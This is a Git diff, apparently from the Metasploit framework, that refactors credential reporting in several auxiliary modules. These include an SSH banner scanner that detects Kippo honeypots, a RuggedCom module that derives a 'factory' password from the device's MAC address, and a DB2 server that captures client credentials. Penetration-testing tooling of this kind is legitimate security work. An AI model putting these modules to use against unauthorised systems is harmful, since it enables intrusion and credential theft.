|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: user,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def peer(rhost=nil)
|
||||
|
||||
@@ -118,13 +118,26 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def do_report(ip, user, port)
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:sname => 'ssh',
|
||||
:user => user,
|
||||
:active => true
|
||||
)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
service_name: 'ssh',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: user,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
# Because this isn't using the AuthBrute mixin, we don't have the
|
||||
|
||||
@@ -53,33 +53,44 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
resp = sock.get_once(-1, timeout)
|
||||
|
||||
if resp
|
||||
ident, first_message = resp.split(/[\r\n]+/)
|
||||
if /^SSH-\d+\.\d+-(?<banner>.*)$/ =~ ident
|
||||
if recog_match = Recog::Nizer.match('ssh.banner', banner)
|
||||
info = recog_match.to_s
|
||||
else
|
||||
info = 'UNKNOWN'
|
||||
print_warning("#{peer} unknown SSH banner: #{banner}")
|
||||
end
|
||||
# Check to see if this is Kippo, which sends a premature
|
||||
# key init exchange right on top of the SSH version without
|
||||
# waiting for the required client identification string.
|
||||
if first_message && first_message.size >= 5
|
||||
extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data
|
||||
if (extra.last.size + 2 == extra[0]) && extra[2] == 20
|
||||
info << " (Kippo Honeypot)"
|
||||
end
|
||||
end
|
||||
print_status("#{peer}, SSH server version: #{ident}")
|
||||
report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: info)
|
||||
else
|
||||
vprint_warning("#{peer} was not SSH --" \
|
||||
" #{resp.size} bytes beginning with #{resp[0, 12]}")
|
||||
end
|
||||
else
|
||||
if ! resp
|
||||
vprint_warning("#{peer} no response")
|
||||
return
|
||||
end
|
||||
|
||||
ident, first_message = resp.split(/[\r\n]+/)
|
||||
info = ""
|
||||
|
||||
if /^SSH-\d+\.\d+-(.*)$/ !~ ident
|
||||
vprint_warning("#{peer} was not SSH -- #{resp.size} bytes beginning with #{resp[0, 12]}")
|
||||
return
|
||||
end
|
||||
|
||||
banner = $1
|
||||
|
||||
# Try to match with Recog and show the relevant fields to the user
|
||||
recog_match = Recog::Nizer.match('ssh.banner', banner)
|
||||
if recog_match
|
||||
info << " ( "
|
||||
recog_match.each_pair do |k,v|
|
||||
next if k == 'matched'
|
||||
info << "#{k}=#{v} "
|
||||
end
|
||||
info << ")"
|
||||
end
|
||||
|
||||
# Check to see if this is Kippo, which sends a premature
|
||||
# key init exchange right on top of the SSH version without
|
||||
# waiting for the required client identification string.
|
||||
if first_message && first_message.size >= 5
|
||||
extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data
|
||||
if (extra.last.size + 2 == extra[0]) && extra[2] == 20
|
||||
info << " (Kippo Honeypot)"
|
||||
end
|
||||
end
|
||||
|
||||
print_status("#{peer} SSH server version: #{ident}#{info}")
|
||||
report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: ident)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
vprint_warning("#{peer} timed out after #{timeout} seconds. Skipping.")
|
||||
|
||||
@@ -89,6 +89,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
disconnect(scanner.sock)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -79,6 +79,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -95,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0]
|
||||
password = mac_to_password(mac)
|
||||
info = get_info(banner_santized)
|
||||
report_cred(ip: rhost, port: rport, user:'factory', password: password)
|
||||
report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized)
|
||||
break
|
||||
else
|
||||
print_status("It doesn't seem to be a RuggedCom service.")
|
||||
|
||||
@@ -58,6 +58,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -70,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
case result
|
||||
when :success
|
||||
print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})"
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: result)
|
||||
return if datastore['STOP_ON_SUCCESS']
|
||||
when :fail
|
||||
print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})"
|
||||
|
||||
@@ -216,14 +216,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if @state[c][:user] and @state[c][:pass]
|
||||
print_status("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}")
|
||||
report_auth_info(
|
||||
:host => @state[c][:ip],
|
||||
:port => datastore['SRVPORT'],
|
||||
:sname => 'db2_client',
|
||||
:user => @state[c][:user],
|
||||
:pass => @state[c][:pass],
|
||||
:source_type => "captured",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: @state[c][:ip],
|
||||
port: datastore['SRVPORT'],
|
||||
service_name: 'db2_client',
|
||||
user: @state[c][:user],
|
||||
password: @state[c][:pass],
|
||||
proof: @state.inspect
|
||||
)
|
||||
|
||||
params = []
|
||||
@@ -238,6 +237,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def on_client_close(c)
|
||||
@state.delete(c)
|
||||
end
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user